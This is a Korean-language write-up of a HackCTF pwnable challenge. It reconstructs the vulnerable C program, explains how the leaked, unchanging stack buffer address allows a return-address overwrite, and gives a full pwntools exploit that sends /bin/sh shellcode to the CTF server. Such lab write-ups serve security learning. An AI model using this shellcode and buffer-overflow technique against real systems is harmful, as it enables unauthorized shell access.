[HackCTF] Simple_Overflow_ver_2 풀이 (150p)
Wargame/HackCTF

[HackCTF] Simple_Overflow_ver_2 풀이 (150p)

문제 종류 - Pwnable
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3006

 

풀이

파일을 IDA로 열어보자.

쉘을 여는 함수가 따로 없는거 봐서는, main 함수에서 bof가 발생하는 듯하다.

C로 보기 좋게 옮기면.. 이렇다.

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
int main() {
	int v3; //i
	char v5; //Again 결정 변수
	char s[128]; //Data 입력 변수
	int i;

	v5 = 121;
	do {
		printf("Data : ");
		if (scanf(" %[^\n]s", s)) {
			for (i = 0;; ++i) {
				v3 = i;
				if (v3 >= strlen(s))
					break;
				if (!(i & 0xF))
					printf("%p: ", &s[i]);
				printf(" %c", (unsigned int)s[i]);
				if (i % 16 == 15)
					putchar('\n');
			}
		}
		printf("\nAgain (y/n): ");
	} while (scanf(" %c", &v5) && (v5 == 121 || v5 == 89));
}

딱봐도 char s[128] 부분을 이용하는 거 같은데, do while문이 중간에 껴있다.

코드 동작은 다음과 같다.

Data를 입력 받고, 16byte마다 끊어서 출력 후, 시작 주소를 출력한다. 그 후, 프로그램을 반복할건지 물어본다.

프로그램이 실행되면, s 배열의 시작 주소가 변하지 않는 점을 이용해 오버플로우를 발생시키면 된다.


처음에는 Data에는 아무 값이나 입력한다.

s의 시작 주소를 0x0001이라고 가정하면, 출력 창에는 0x0001: <입력 값>이 나올 것이다.

그 후, Again에서 y를 선택해, 프로그램을 반복한다.

 

여전히, s가 들어갈 주소는 0x0001이니, 이 때 페이로드를 작성해주면 된다.

총 0x88(136)칸을 할당 받으니까...

쉘 코드(25byte) + 더미 값(111byte) + SFP(4byte) + RET(4byte) 페이로드를 작성하도록 하겠다.


  1 from pwn import *
  2
  3 p = remote('ctf.j0n9hyun.xyz',3006)
  4
  5 payload = 'AAAA'
  6 p.recvuntil('Data : ')
  7 p.sendline(payload)
  8
  9 arr = p.recvuntil(': ')[0:-2]
 10
 11 p.recvuntil('(y/n): ')
 12 p.sendline('y')
 13
 14 payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
 15 payload += '\x90'*115
 16 payload += p32(int(arr,16))
 17
 18 p.recvuntil('Data : ')
 19 p.sendline(payload)
 20 p.interactive()